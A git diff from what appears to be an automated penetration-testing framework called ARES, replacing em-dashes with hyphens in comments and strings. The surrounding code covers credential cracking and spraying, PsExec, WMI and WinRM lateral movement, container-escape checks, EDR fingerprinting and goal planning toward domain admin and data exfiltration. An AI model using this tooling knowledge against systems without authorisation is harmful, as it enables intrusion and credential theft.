- ARES_OTEL_ENDPOINT — OTLP gRPC endpoint (e.g. http://jaeger:4317)
- ARES_OTEL_SERVICE — Service name shown in trace UI (default: ares-api)
- ARES_OTEL_SAMPLE_RATE — 0.0–1.0 sampling rate (default: 1.0 = 100%)
- ARES_OTEL_CONSOLE — also print spans to stdout (dev mode, default: false)
+ ARES_OTEL_ENDPOINT - OTLP gRPC endpoint (e.g. http://jaeger:4317)
+ ARES_OTEL_SERVICE - Service name shown in trace UI (default: ares-api)
+ ARES_OTEL_SAMPLE_RATE - 0.0–1.0 sampling rate (default: 1.0 = 100%)
+ ARES_OTEL_CONSOLE - also print spans to stdout (dev mode, default: false)
Usage:
@@ -67,7 +67,7 @@ except ImportError:
class _NoOpSpan:
"""
- Context-manager no-op span — identical public API to real OTel span.
+ Context-manager no-op span - identical public API to real OTel span.
Used when opentelemetry-sdk is not installed. All methods are intentional
no-ops (pass) that satisfy the interface contract without side effects.
"""
@@ -102,7 +102,7 @@ def setup_tracing(
) -> bool:
"""
Initialize OTel tracing. Returns True if successfully configured.
- Safe to call multiple times — subsequent calls are no-ops.
+ Safe to call multiple times - subsequent calls are no-ops.
Called automatically from server.py lifespan.
"""
global _provider, _tracer
@@ -318,11 +318,11 @@ def trace_module(module_id: str) -> Callable:
...
The span automatically records:
- ares.module_id — module identifier
- ares.campaign_id — campaign ID (from self.campaign.id if available)
- ares.findings_count — count of findings returned
- ares.status — "success" or "error"
- error details — exception type + message on failure
+ ares.module_id - module identifier
+ ares.campaign_id - campaign ID (from self.campaign.id if available)
+ ares.findings_count - count of findings returned
+ ares.status - "success" or "error"
+ error details - exception type + message on failure
"""
def decorator(fn: Callable) -> Callable:
@functools.wraps(fn)
@@ -380,8 +380,8 @@ class TraceIDLogFilter:
logger.add(sys.stderr, filter=TraceIDLogFilter(), format=TRACE_LOG_FORMAT)
"""
def __call__(self, record: dict) -> bool:
- record["extra"].setdefault("trace_id", get_current_trace_id() or "—")
- record["extra"].setdefault("span_id", get_current_span_id() or "—")
+ record["extra"].setdefault("trace_id", get_current_trace_id() or " - ")
+ record["extra"].setdefault("span_id", get_current_span_id() or " - ")
return True
diff --git a/ares/core/validator.py b/ares/core/validator.py
index aadd294..13f42a8 100644
--- a/ares/core/validator.py
+++ b/ares/core/validator.py
@@ -75,7 +75,7 @@ class FindingValidator:
finding_id=finding.id,
passed=True,
confidence=0.6,
- notes=["No validators registered — manual review recommended"],
+ notes=["No validators registered - manual review recommended"],
)
stage_results: dict[str, tuple[bool, float, str]] = {}
@@ -169,9 +169,9 @@ async def _check_docker_socket_exploitable(
readable = os.access(socket_path, os.R_OK)
writable = os.access(socket_path, os.W_OK)
if writable:
- return True, 1.0, "Docker socket is read+write — full container escape possible"
+ return True, 1.0, "Docker socket is read+write - full container escape possible"
if readable:
- return True, 0.6, "Docker socket readable — limited exploitation"
+ return True, 0.6, "Docker socket readable - limited exploitation"
return False, 0.1, "Docker socket exists but not accessible"
diff --git a/ares/credential/__init__.py b/ares/credential/__init__.py
index fc873e5..0d07d8a 100644
--- a/ares/credential/__init__.py
+++ b/ares/credential/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — credential
+ARES - credential
Credential storage, management, and reuse testing.
Public API for this package. Import from here in production code:
diff --git a/ares/credential/cracker.py b/ares/credential/cracker.py
index 59df81d..955b9fa 100644
--- a/ares/credential/cracker.py
+++ b/ares/credential/cracker.py
@@ -29,7 +29,7 @@ Wordlist priority:
4. Custom client wordlist
Security note:
- Cracking always happens locally — no hashes sent externally.
+ Cracking always happens locally - no hashes sent externally.
All cracked plaintext is encrypted in vault before any logging.
"""
from __future__ import annotations
@@ -147,7 +147,7 @@ class CrackingWorker:
audit("crack_job_start", actor="cracker",
job_id=job.job_id, hash_type=job.hash_type, username=job.username)
- # Hashcat (preferred — GPU accelerated)
+ # Hashcat (preferred - GPU accelerated)
if self._hashcat and job.hashcat_mode:
result = await self._run_hashcat(job)
else:
diff --git a/ares/credential/reuse.py b/ares/credential/reuse.py
index 476f3ba..85a75b0 100644
--- a/ares/credential/reuse.py
+++ b/ares/credential/reuse.py
@@ -77,7 +77,7 @@ class ReuseResult:
return round(self.successes / self.total_attempts, 3)
-# ── Protocol validators — real impacket/paramiko implementations ──────────────
+# ── Protocol validators - real impacket/paramiko implementations ──────────────
class _ProtocolValidator:
"""Base class for protocol-specific authentication testers."""
@@ -95,7 +95,7 @@ class _ProtocolValidator:
Subclasses **must** implement this method for each protocol.
"""
- raise NotImplementedError( # abstract — each protocol validator must override
+ raise NotImplementedError( # abstract - each protocol validator must override
f"{self.__class__.__name__} must implement test()"
)
@@ -157,7 +157,7 @@ class _WinRMValidator(_ProtocolValidator):
import winrm
from winrm.exceptions import InvalidCredentialsError, WinRMError, WinRMTransportError
except ImportError:
- return False, "pywinrm not installed — run: pip install pywinrm"
+ return False, "pywinrm not installed - run: pip install pywinrm"
loop = asyncio.get_running_loop()
@@ -204,14 +204,14 @@ class _SSHValidator(_ProtocolValidator):
def _connect() -> tuple[bool, str]:
client = paramiko.SSHClient()
# AutoAddPolicy is required here because credential spray tests many
- # hosts — supplying a known_hosts file is impractical at this stage.
+ # hosts - supplying a known_hosts file is impractical at this stage.
# Risk: MITM on untrusted networks can intercept credentials.
# Operator should run credential reuse only from a trusted pivot or
# secured operator workstation, not from hotel/public wifi.
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
import logging as _log
_log.getLogger("ares.credential.reuse").warning(
- "ssh_host_key_unverified host=%s — MITM risk on untrusted networks; "
+ "ssh_host_key_unverified host=%s - MITM risk on untrusted networks; "
"run credential reuse only from a secured operator workstation.",
host,
)
@@ -433,7 +433,7 @@ class ReuseEngine:
result.failures += 1
def _should_skip(self, host: str, cred: Credential) -> bool:
- """Lockout protection — skip if attempt count exceeds threshold."""
+ """Lockout protection - skip if attempt count exceeds threshold."""
key = f"{host}:{cred.username.lower()}"
if self._attempt_counts.get(key, 0) >= self.lockout_threshold:
logger.debug("reuse_skip_lockout_protection", host=host, username=cred.username)
@@ -448,8 +448,8 @@ class ReuseEngine:
# ── Public aliases (backward compatibility) ───────────────────────────────
-#: Alias for ReuseEngine — canonical export name used by tests and external tooling
+#: Alias for ReuseEngine - canonical export name used by tests and external tooling
CredentialReuser = ReuseEngine
-#: Alias for ReuseResult — descriptive name for import
+#: Alias for ReuseResult - descriptive name for import
ReuseResult = ReuseResult # noqa: PLW0127 (self-assignment for explicit export)
diff --git a/ares/credential/vault.py b/ares/credential/vault.py
index ea8b400..52426ef 100644
--- a/ares/credential/vault.py
+++ b/ares/credential/vault.py
@@ -1,5 +1,5 @@
"""
-ARES Credential Intelligence Engine — Vault
+ARES Credential Intelligence Engine - Vault
Encrypted, scored, deduplicated credential store.
Credential lifecycle:
@@ -78,7 +78,7 @@ class PrivilegeLevel(str, Enum):
class Credential:
"""
A single credential entry in the vault.
- Secret value is NEVER stored in plaintext — always Fernet-encrypted.
+ Secret value is NEVER stored in plaintext - always Fernet-encrypted.
"""
id: str = field(default_factory=lambda: str(uuid.uuid4()))
campaign_id: str = ""
@@ -160,7 +160,7 @@ class Credential:
# ── Scoring engine ─────────────────────────────────────────────────────────────
class CredentialScorer:
- """Deterministic scorer — assigns 0.0–10.0 intelligence score."""
+ """Deterministic scorer - assigns 0.0–10.0 intelligence score."""
# Base scores by credential type
TYPE_SCORES: dict[CredentialType, float] = {
@@ -224,8 +224,8 @@ class CredentialVault:
Thread-safe for async use (single asyncio event loop).
"""
- # Legacy salt — only for decrypting old credential entries (backward compat)
- # Legacy fixed salt — ONLY for decrypting vault records written before v6.
+ # Legacy salt - only for decrypting old credential entries (backward compat)
+ # Legacy fixed salt - ONLY for decrypting vault records written before v6.
# Security rationale: static because it was the global salt in v5 and earlier.
# All new writes use per-record random salts (see store()).
# Override via ARES_VAULT_LEGACY_SALT env var if you rotated this in your deployment.
@@ -249,7 +249,7 @@ class CredentialVault:
if isinstance(encryption_key, str)
else bytes(encryption_key)
)
- # Instance-level random salt — used for encrypt(); embedded as prefix in ciphertext
+ # Instance-level random salt - used for encrypt(); embedded as prefix in ciphertext
self._salt = _os.urandom(16)
self._salt_hex = self._salt.hex()
self._fernet = self._derive_fernet(self._salt)
@@ -281,7 +281,7 @@ class CredentialVault:
Args:
cred: Credential metadata (no plaintext secret)
- secret: The actual secret — encrypted immediately on entry
+ secret: The actual secret - encrypted immediately on entry
"""
if not secret:
raise ValueError("Cannot store credential with empty secret")
@@ -332,7 +332,7 @@ class CredentialVault:
return cred.id
def add(self, cred: "Any" = None, secret: str = "", **kwargs: Any) -> str:
- """Alias for store() — supports both Credential model and kwargs."""
+ """Alias for store() - supports both Credential model and kwargs."""
if isinstance(cred, Credential):
return self.store(cred, secret)
username = str(kwargs.get("username") or (cred if isinstance(cred, str) else ""))
@@ -391,7 +391,7 @@ class CredentialVault:
salt = bytes.fromhex(token_str[:32])
fernet_token = token_str[33:].encode()
return self._derive_fernet(salt).decrypt(fernet_token).decode()
- # Legacy fallback — fixed salt
+ # Legacy fallback - fixed salt
return self._derive_fernet(self._LEGACY_SALT).decrypt(raw).decode()
return self._fernet.decrypt(raw).decode()
@@ -412,7 +412,7 @@ class CredentialVault:
cred.reuse_targets.append(target_host)
def mark_cracked(self, cred_id: str, plaintext: str) -> None:
- """Update hash credential when cracked — rescore and store plaintext."""
+ """Update hash credential when cracked - rescore and store plaintext."""
cred = self._store.get(cred_id)
if not cred:
return
@@ -440,7 +440,7 @@ class CredentialVault:
min_score: float = 2.0,
) -> list[Credential]:
"""
- Return credentials suitable for reuse/spray — scored, active, usable.
+ Return credentials suitable for reuse/spray - scored, active, usable.
Sorted by score descending (highest value first).
"""
creds = [
@@ -474,7 +474,7 @@ class CredentialVault:
"""
Re-hydrate vault from DB records after engine restart or crash.
- Records come from db.load_credentials_raw() — secrets are already
+ Records come from db.load_credentials_raw() - secrets are already
Fernet-encrypted by this vault's key so reveal() works correctly.
Usage:
diff --git a/ares/db/database.py b/ares/db/database.py
index 7d32682..d65deb3 100644
--- a/ares/db/database.py
+++ b/ares/db/database.py
@@ -1,5 +1,5 @@
"""
-ARES Database — async SQLite via aiosqlite.
+ARES Database - async SQLite via aiosqlite.
All credential/token content encrypted at rest via Fernet.
"""
@@ -616,7 +616,7 @@ class AresDatabase:
def _require_connected(self) -> aiosqlite.Connection:
if not self._connected or self._conn is None:
- raise RuntimeError("Database not connected — call await db.connect() first")
+ raise RuntimeError("Database not connected - call await db.connect() first")
return self._conn
@property
@@ -746,7 +746,7 @@ class AresDatabase:
return await PostgresDatabase.create(dsn=url, encryption_key=encryption_key)
- # SQLite path — strip dialect prefix if present
+ # SQLite path - strip dialect prefix if present
for prefix in ("sqlite+aiosqlite:///", "sqlite:///"):
if url.startswith(prefix):
url = url[len(prefix) :]
@@ -1264,7 +1264,7 @@ class AresDatabase:
# ── Backup / export ───────────────────────────────────────────────────────
async def checkpoint_wal(self) -> None:
- """Force a WAL checkpoint — consolidates WAL into main DB file.
+ """Force a WAL checkpoint - consolidates WAL into main DB file.
Call periodically (e.g. hourly) or before taking a file-system backup."""
await self._conn.execute("PRAGMA wal_checkpoint(TRUNCATE)")
await self._conn.commit()
@@ -1272,7 +1272,7 @@ class AresDatabase:
async def export_json(self, output_path: str | None = None) -> str:
"""
Export all campaigns + findings to JSON.
- Safe to call during engagement — read-only snapshot.
+ Safe to call during engagement - read-only snapshot.
Returns the output file path written.
Default path: ~/.ares/backups/ares_export_<timestamp>.json
@@ -2056,7 +2056,7 @@ class AresDatabase:
c.campaign_id,
c.host_id,
c.username,
- c.secret, # already vault-encrypted — store verbatim
+ c.secret, # already vault-encrypted - store verbatim
c.cred_type,
c.domain,
c.source_module,
@@ -2068,7 +2068,7 @@ class AresDatabase:
async def load_credentials_raw(self, campaign_id: str) -> list[dict]:
"""
Load all credentials for a campaign from DB as raw dicts.
- Secrets are returned as-is (Fernet-encrypted by CredentialVault) —
+ Secrets are returned as-is (Fernet-encrypted by CredentialVault) -
use CredentialVault.restore_from_db_records() to re-hydrate.
"""
async with self._conn.execute(
@@ -3352,7 +3352,7 @@ class AresDatabase:
import hashlib
# Generate cryptographically strong random token
- raw_token = secrets.token_urlsafe(48) # 384 bits — URL-safe, client sees this
+ raw_token = secrets.token_urlsafe(48) # 384 bits - URL-safe, client sees this
token_hash = hashlib.sha256(raw_token.encode()).hexdigest() # stored in DB
expires_at = (datetime.now(timezone.utc) + timedelta(days=expires_days)).isoformat()
await self._conn.execute(
@@ -3957,7 +3957,7 @@ class AresDatabase:
)
await self._conn.commit()
except Exception:
- # Table may not exist yet — create it
+ # Table may not exist yet - create it
await self._ensure_bypass_outcomes_table()
await self._conn.execute(
"""INSERT INTO bypass_outcomes
diff --git a/ares/db/postgres.py b/ares/db/postgres.py
index 0118514..5bd0a78 100644
--- a/ares/db/postgres.py
+++ b/ares/db/postgres.py
@@ -1,5 +1,5 @@
"""
-ARES Database — PostgreSQL async backend via asyncpg.
+ARES Database - PostgreSQL async backend via asyncpg.
Used when ARES_DATABASE_URL starts with postgresql+asyncpg:// or postgresql://.
@@ -13,11 +13,11 @@ Configuration (.env):
ARES_ENCRYPTION_KEY=<fernet-key>
Design:
- - Same public API as AresDatabase (SQLite) — zero changes to server.py or engine.py
+ - Same public API as AresDatabase (SQLite) - zero changes to server.py or engine.py
- asyncpg connection pool (min=2, max=10)
- All credential/token content encrypted at rest via Fernet (same as SQLite backend)
- Alembic-managed migrations: `alembic -x db_url=<url> upgrade head`
- - Parameterized queries throughout — no string interpolation
+ - Parameterized queries throughout - no string interpolation
Production checklist:
□ Create ares_user with CREATEDB privilege or pre-create ares_db
@@ -2276,7 +2276,7 @@ def _classify_postgres_revision(values: tuple[object, ...]) -> str:
class PostgresDatabase:
"""
Async PostgreSQL database backend via asyncpg.
- Public API is identical to AresDatabase (SQLite) — drop-in replacement.
+ Public API is identical to AresDatabase (SQLite) - drop-in replacement.
Usage:
db = await PostgresDatabase.create(
@@ -2293,7 +2293,7 @@ class PostgresDatabase:
pool_min: int = 2,
pool_max: int = 10,
) -> None:
- # Strip SQLAlchemy dialect prefix — asyncpg uses plain postgres:// DSN
+ # Strip SQLAlchemy dialect prefix - asyncpg uses plain postgres:// DSN
self._dsn = dsn.replace("postgresql+asyncpg://", "postgresql://").replace(
"postgres+asyncpg://", "postgres://"
)
@@ -5431,7 +5431,7 @@ class PostgresDatabase:
"""
Persist a credential whose secret is ALREADY Fernet-encrypted by
CredentialVault. Skips _enc_val() to prevent double-encryption.
- Mirrors database.py implementation — required by engine._persist_vault_credentials().
+ Mirrors database.py implementation - required by engine._persist_vault_credentials().
"""
async with self._pool.acquire() as conn:
await conn.execute(
@@ -5448,7 +5448,7 @@ class PostgresDatabase:
cred.campaign_id,
cred.host_id,
cred.username,
- cred.secret, # already vault-encrypted — store verbatim, no _enc_val()
+ cred.secret, # already vault-encrypted - store verbatim, no _enc_val()
cred.cred_type,
cred.domain,
cred.source_module,
@@ -5458,7 +5458,7 @@ class PostgresDatabase:
async def load_credentials_raw(self, campaign_id: str) -> list[dict]:
"""
Load all credentials for a campaign as raw dicts.
- Secrets returned as-is (Fernet-encrypted by CredentialVault) —
+ Secrets returned as-is (Fernet-encrypted by CredentialVault) -
use CredentialVault.restore_from_db_records() to re-hydrate.
Required by server.py POST /campaigns/{id}/restore-vault endpoint.
"""
@@ -6671,7 +6671,7 @@ class PostgresDatabase:
)
async def checkpoint_wal(self) -> None:
- """No-op for PostgreSQL — WAL is managed by the server."""
+ """No-op for PostgreSQL - WAL is managed by the server."""
async def export_json(self, output_path: str | None = None) -> str:
"""Export all campaigns + findings to JSON (same interface as SQLite backend)."""
diff --git a/ares/db/schema.py b/ares/db/schema.py
index 3a3fec1..e85cbee 100644
--- a/ares/db/schema.py
+++ b/ares/db/schema.py
@@ -1,18 +1,18 @@
"""
-ARES Database Schema — v5
+ARES Database Schema - v5
SQLite WAL mode via aiosqlite. All credential/token content encrypted at rest.
Tables (v5 additions marked ★):
- schema_version — migration tracking
- campaigns — engagement metadata
- findings — vulnerability findings with MITRE mapping
- hosts — discovered hosts and services
- credentials — captured attack credentials (encrypted)
- loot — captured artifacts (hashes, tokens, files)
- audit_log — append-only action log
- ★ users — operator accounts (replaces in-memory dict)
- ★ api_keys — long-lived API keys for CI/CD automation
- ★ refresh_tokens — JWT refresh tokens with expiry tracking
+ schema_version - migration tracking
+ campaigns - engagement metadata
+ findings - vulnerability findings with MITRE mapping
+ hosts - discovered hosts and services
+ credentials - captured attack credentials (encrypted)
+ loot - captured artifacts (hashes, tokens, files)
+ audit_log - append-only action log
+ ★ users - operator accounts (replaces in-memory dict)
+ ★ api_keys - long-lived API keys for CI/CD automation
+ ★ refresh_tokens - JWT refresh tokens with expiry tracking
"""
from __future__ import annotations
@@ -340,7 +340,7 @@ CREATE UNIQUE INDEX IF NOT EXISTS uq_refresh_token_one_active
CREATE INDEX IF NOT EXISTS idx_refresh_family_generation
ON refresh_tokens(family_id,generation);
--- Revoked access token JTIs — allows early revocation before natural expiry (60 min TTL)
+-- Revoked access token JTIs - allows early revocation before natural expiry (60 min TTL)
CREATE TABLE IF NOT EXISTS revoked_access_tokens (
jti TEXT PRIMARY KEY, -- JWT jti claim
user_id TEXT NOT NULL,
@@ -504,7 +504,7 @@ CREATE INDEX IF NOT EXISTS idx_sso_flow_lookup ON sso_flow_states(flow_id, is_co
# Applied automatically by AresDatabase.connect() when SCHEMA_VERSION mismatch.
# V5 → V6: adds revoked_access_tokens table for JWT JTI blacklist (logout revocation).
-# Databases upgraded from v5 will not have this table — this migration adds it safely
+# Databases upgraded from v5 will not have this table - this migration adds it safely
# via CREATE TABLE IF NOT EXISTS so running it on a fresh v6 DB is also a no-op.
MIGRATION_V5_TO_V6 = """
CREATE TABLE IF NOT EXISTS revoked_access_tokens (
diff --git a/ares/execution/__init__.py b/ares/execution/__init__.py
index 7bd3aba..c09bcaf 100644
--- a/ares/execution/__init__.py
+++ b/ares/execution/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — execution
+ARES - execution
Remote command execution backends
Public API for this package. Import from here in production code:
diff --git a/ares/execution/executor.py b/ares/execution/executor.py
index 79d5d1c..d3692b7 100644
--- a/ares/execution/executor.py
+++ b/ares/execution/executor.py
@@ -103,7 +103,7 @@ class RemoteExecutor:
"""
target = sanitize_hostname(target)
- # Scope enforcement — reject targets outside campaign scope before any
+ # Scope enforcement - reject targets outside campaign scope before any
# network activity. Mirrors the before_request() guard used in modules.
if self.campaign is not None and not self.campaign.is_in_scope(target):
logger.warning(
@@ -114,7 +114,7 @@ class RemoteExecutor:
target=target, method=method,
payload_type=payload_type, command=command[:200],
operator=self.operator,
- stderr=f"Target '{target}' is outside campaign scope — execution blocked.",
+ stderr=f"Target '{target}' is outside campaign scope - execution blocked.",
exit_code=-1, success=False,
)
@@ -280,14 +280,14 @@ class RemoteExecutor:
async def _run_psexec(self, target, command, username, domain, secret) -> tuple[str, str, int]:
"""
- PsExec execution — delegates to canonical implementation in lateral.modules.PsExecLateral.
+ PsExec execution - delegates to canonical implementation in lateral.modules.PsExecLateral.
Canonical code lives in ares/modules/lateral/modules.py.
"""
# Check optional dep before instantiating module (avoids masking ImportError)
try:
import impacket # noqa: F401
except ImportError:
- return "", "impacket not installed — run: pip install impacket", 1
+ return "", "impacket not installed - run: pip install impacket", 1
try:
from ares.modules.lateral.modules import PsExecLateral
from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry
@@ -304,7 +304,7 @@ class RemoteExecutor:
return "", str(exc)[:300], 1
async def _run_winrm(self, target, command, username, domain, secret) -> tuple[str, str, int]:
"""
- WinRM / PowerShell Remoting execution — delegates to WinRMLateral.move().
+ WinRM / PowerShell Remoting execution - delegates to WinRMLateral.move().
Canonical implementation lives in ares/modules/lateral/modules.py.
Supports both HTTP (port 5985, NTLM) and HTTPS (port 5986, SSL).
@@ -314,7 +314,7 @@ class RemoteExecutor:
try:
import winrm # noqa: F401
except ImportError:
- return "", "pywinrm not installed — run: pip install pywinrm", 1
+ return "", "pywinrm not installed - run: pip install pywinrm", 1
try:
from ares.modules.lateral.modules import WinRMLateral
from ares.core.campaign import Campaign
@@ -329,7 +329,7 @@ class RemoteExecutor:
secret=secret,
command=command,
)
- # LateralResult uses .output/.error — map to stdout/stderr contract
+ # LateralResult uses .output/.error - map to stdout/stderr contract
return (
result.output or "",
result.error or "",
@@ -340,14 +340,14 @@ class RemoteExecutor:
async def _run_wmiexec(self, target, command, username, domain, secret) -> tuple[str, str, int]:
"""
- WMIExec execution — delegates to canonical implementation in lateral.modules.WMIExecLateral.
+ WMIExec execution - delegates to canonical implementation in lateral.modules.WMIExecLateral.
Canonical code lives in ares/modules/lateral/modules.py.
"""
# Check optional dep before instantiating module (avoids masking ImportError)
try:
import impacket # noqa: F401
except ImportError:
- return "", "impacket not installed — run: pip install impacket", 1
+ return "", "impacket not installed - run: pip install impacket", 1
try:
from ares.modules.lateral.modules import WMIExecLateral
from ares.core.campaign import Campaign
@@ -367,7 +367,7 @@ class RemoteExecutor:
try:
import paramiko
except ImportError:
- return "", "paramiko not installed — run: pip install paramiko", 1
+ return "", "paramiko not installed - run: pip install paramiko", 1
loop = asyncio.get_running_loop()
known_hosts_file = self.known_hosts_file
@@ -376,11 +376,11 @@ class RemoteExecutor:
client = paramiko.SSHClient()
if known_hosts_file:
- # Strict verification — reject unknown hosts
+ # Strict verification - reject unknown hosts
client.set_missing_host_key_policy(paramiko.RejectPolicy())
client.load_host_keys(known_hosts_file)
else:
- # No known_hosts supplied — auto-accept but warn loudly.
+ # No known_hosts supplied - auto-accept but warn loudly.
# Risk: MITM can steal credentials on untrusted networks (hotel
# wifi, compromised VPN, pivot host). Supply known_hosts_file to
# the RemoteExecutor constructor to enable host verification.
diff --git a/ares/fingerprint/__init__.py b/ares/fingerprint/__init__.py
index 339c0c8..8edcbcb 100644
--- a/ares/fingerprint/__init__.py
+++ b/ares/fingerprint/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — fingerprint
+ARES - fingerprint
OS, EDR, and environment fingerprinting
Public API for this package. Import from here in production code:
diff --git a/ares/fingerprint/engine.py b/ares/fingerprint/engine.py
index 78aeb24..dda7e8b 100644
--- a/ares/fingerprint/engine.py
+++ b/ares/fingerprint/engine.py
@@ -10,7 +10,7 @@ Results feed into:
Fingerprint techniques (passive-first, then active):
1. Banner grabbing (TCP services)
- 2. SMB OS fingerprint (via impacket — reads version/domain/hostname)
+ 2. SMB OS fingerprint (via impacket - reads version/domain/hostname)
3. LDAP rootDSE query (domain role, DC functional level)
4. DNS PTR lookup (hostname/domain)
5. HTTP User-Agent probing (web panels, Defender APIs)
@@ -305,7 +305,7 @@ class EnvironmentFingerprinter:
self, result: FingerprintResult, username: str, domain: str, secret: str
) -> None:
"""
- SMB protocol fingerprint — reveals Windows version via negotiate response.
+ SMB protocol fingerprint - reveals Windows version via negotiate response.
Uses impacket's NMBSession (no credentials needed for version info).
"""
# Production:
@@ -336,7 +336,7 @@ class EnvironmentFingerprinter:
self, result: FingerprintResult, username: str, domain: str, secret: str
) -> None:
"""
- LDAP rootDSE anonymous bind — reveals domain name, DC functional level.
+ LDAP rootDSE anonymous bind - reveals domain name, DC functional level.
No credentials required for rootDSE.
"""
# Production:
@@ -358,7 +358,7 @@ class EnvironmentFingerprinter:
async def _winrm_fingerprint(
self, result: FingerprintResult, username: str, domain: str, secret: str
) -> None:
- """WinRM HTTP negotiate — reveals OS version in WWW-Authenticate header."""
+ """WinRM HTTP negotiate - reveals OS version in WWW-Authenticate header."""
# Production:
# async with httpx.AsyncClient() as client:
# r = await client.get(f"http://{result.host}:5985/wsman",
@@ -415,7 +415,7 @@ class EnvironmentFingerprinter:
if result.stealth_required:
# Disable HIGH_NOISE modules in EDR environments
disabled.extend([
- "lateral.psexec", # EventID 7045 — very noisy
+ "lateral.psexec", # EventID 7045 - very noisy
"lateral.rdp", # multiple 4624 events
])
if result.recommended_profile == "stealth":
diff --git a/ares/goal/__init__.py b/ares/goal/__init__.py
index a619d91..15959c1 100644
--- a/ares/goal/__init__.py
+++ b/ares/goal/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — goal
+ARES - goal
Goal-based attack planning engine
Public API for this package. Import from here in production code:
diff --git a/ares/goal/engine.py b/ares/goal/engine.py
index 052cd1d..952cd45 100644
--- a/ares/goal/engine.py
+++ b/ares/goal/engine.py
@@ -8,12 +8,12 @@ Usage:
results = await engine.execute(plan)
Goals:
- DOMAIN_ADMIN — obtain domain admin credential
- ENTERPRISE_ADMIN — obtain enterprise admin
- DATA_EXFIL — find and access sensitive data stores
- CLOUD_ADMIN — obtain cloud administrator access
- PERSISTENCE — establish persistent access
- FULL_COMPROMISE — achieve domain admin + cloud admin
+ DOMAIN_ADMIN - obtain domain admin credential
+ ENTERPRISE_ADMIN - obtain enterprise admin
+ DATA_EXFIL - find and access sensitive data stores
+ CLOUD_ADMIN - obtain cloud administrator access
+ PERSISTENCE - establish persistent access
+ FULL_COMPROMISE - achieve domain admin + cloud admin
Planning algorithm (backward chaining):
1. Start from goal
@@ -236,7 +236,7 @@ class CapabilityGraph:
max_depth: prevent infinite recursion
Returns:
- Ordered list of module IDs (topological order — safe to run sequentially).
+ Ordered list of module IDs (topological order - safe to run sequentially).
"""
resolved: list[str] = []
visited: set[str] = set()
@@ -436,7 +436,7 @@ class GoalEngine:
3. Fallback chains from GoalDefinition
4. Best-effort: available modules from primary chain
"""
- # 1. Preferred chain — use if fully available
+ # 1. Preferred chain - use if fully available
if self._chain_feasible(defn.preferred_chain):
return defn.preferred_chain
@@ -557,7 +557,7 @@ class GoalEngine:
)
if goal == Goal.CLOUD_ADMIN:
# Check for validated cloud credentials (API keys, JWTs, certificates)
- # — NOT domain_admins() which checks AD privilege level
+ # - NOT domain_admins() which checks AD privilege level
if self.vault is None:
return False
from ares.credential.vault import CredentialType
diff --git a/ares/goal/planner.py b/ares/goal/planner.py
index 366eaa6..de1ab36 100644
--- a/ares/goal/planner.py
+++ b/ares/goal/planner.py
@@ -18,13 +18,13 @@ Algorithm:
4. Return ordered recommendations with rationale
Scoring factors (each 0.0–1.0):
- prereq_met — all REQUIRES already satisfied in session
- credential_match — vault has creds matching required privilege
- host_reachable — target host is in scope and accessible
- technique_value — MITRE technique effectiveness for this goal
- kb_score — knowledge base historical success rate
- artifact_match — artifact correlator found specific opportunity
- novelty — haven't tried this module yet on this target
+ prereq_met - all REQUIRES already satisfied in session
+ credential_match - vault has creds matching required privilege
+ host_reachable - target host is in scope and accessible
+ technique_value - MITRE technique effectiveness for this goal
+ kb_score - knowledge base historical success rate
+ artifact_match - artifact correlator found specific opportunity
+ novelty - haven't tried this module yet on this target
Usage:
planner = AttackPlanner(registry, session, vault, kb)
@@ -104,7 +104,7 @@ class PlannerContext:
# ── Scoring weights ────────────────────────────────────────────────────────────
_SCORE_WEIGHTS = {
- "prereq_met": 0.28, # most important — must have pre-reqs
+ "prereq_met": 0.28, # most important - must have pre-reqs
"credential_match": 0.18, # having right creds matters a lot
"technique_value": 0.18, # MITRE relevance to current goal
"artifact_match": 0.15, # artifact correlator found direct path
@@ -381,7 +381,7 @@ class AttackPlanner:
) -> float:
"""How many prerequisites are already satisfied (0.0–1.0)."""
if not requires:
- return 0.8 # No prereqs — slightly prefer prereq-free in recon phase
+ return 0.8 # No prereqs - slightly prefer prereq-free in recon phase
met = sum(1 for r in requires if self._has_capability(r, target, ctx))
return met / len(requires)
@@ -426,7 +426,7 @@ class AttackPlanner:
"""Score based on credential availability for this module."""
vault = ctx.vault or self.vault
if not vault:
- return 0.3 # No vault — neutral
+ return 0.3 # No vault - neutral
requires = getattr(cls, "REQUIRES", [])
cred_reqs = [r for r in requires if "cred" in r or "admin" in r]
diff --git a/ares/graph/__init__.py b/ares/graph/__init__.py
index 2fe109e..3d8b35a 100644
--- a/ares/graph/__init__.py
+++ b/ares/graph/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — graph
+ARES - graph
Attack graph construction and path analysis
Public API for this package. Import from here in production code:
diff --git a/ares/graph/attack_graph.py b/ares/graph/attack_graph.py
index 54e057f..831d39c 100644
--- a/ares/graph/attack_graph.py
+++ b/ares/graph/attack_graph.py
@@ -130,7 +130,7 @@ class AttackGraph:
"cloud": "#06b6d4", # cyan
}
- # High-value targets — finding a path to these is the goal
+ # High-value targets - finding a path to these is the goal
HIGH_VALUE_LABELS = {
"Domain Admins", "Enterprise Admins", "Schema Admins",
"Administrators", "krbtgt", "NTDS.dit",
@@ -296,7 +296,7 @@ class AttackGraph:
def build_from_store(self, store: ArtifactStore) -> "AttackGraph":
"""
Automatically build graph from all artifacts in a store.
- This is the main entry point — call after a campaign run.
+ This is the main entry point - call after a campaign run.
"""
for host in store.hosts():
self._add_host(host)
@@ -527,7 +527,7 @@ class AttackGraph:
return self.shortest_attack_path(src_id, tgt_id)
def _find_node_by_label(self, label: str) -> str | None:
- """Fuzzy label lookup — returns first matching node ID."""
+ """Fuzzy label lookup - returns first matching node ID."""
label_lower = label.lower()
# Exact match first
for nid, data in self._g.nodes(data=True):
@@ -627,7 +627,7 @@ class AttackGraph:
]
def riskiest_users(self, top_n: int = 10) -> list[GraphNode]:
- """Users sorted by risk score — best attack starting points."""
+ """Users sorted by risk score - best attack starting points."""
users = [
n for n in self._nodes.values()
if n.node_type in ("user", "service_account")
diff --git a/ares/knowledge/__init__.py b/ares/knowledge/__init__.py
index 3112690..fe860bc 100644
--- a/ares/knowledge/__init__.py
+++ b/ares/knowledge/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — knowledge
+ARES - knowledge
Attack knowledge base and evidence storage
Public API for this package. Import from here in production code:
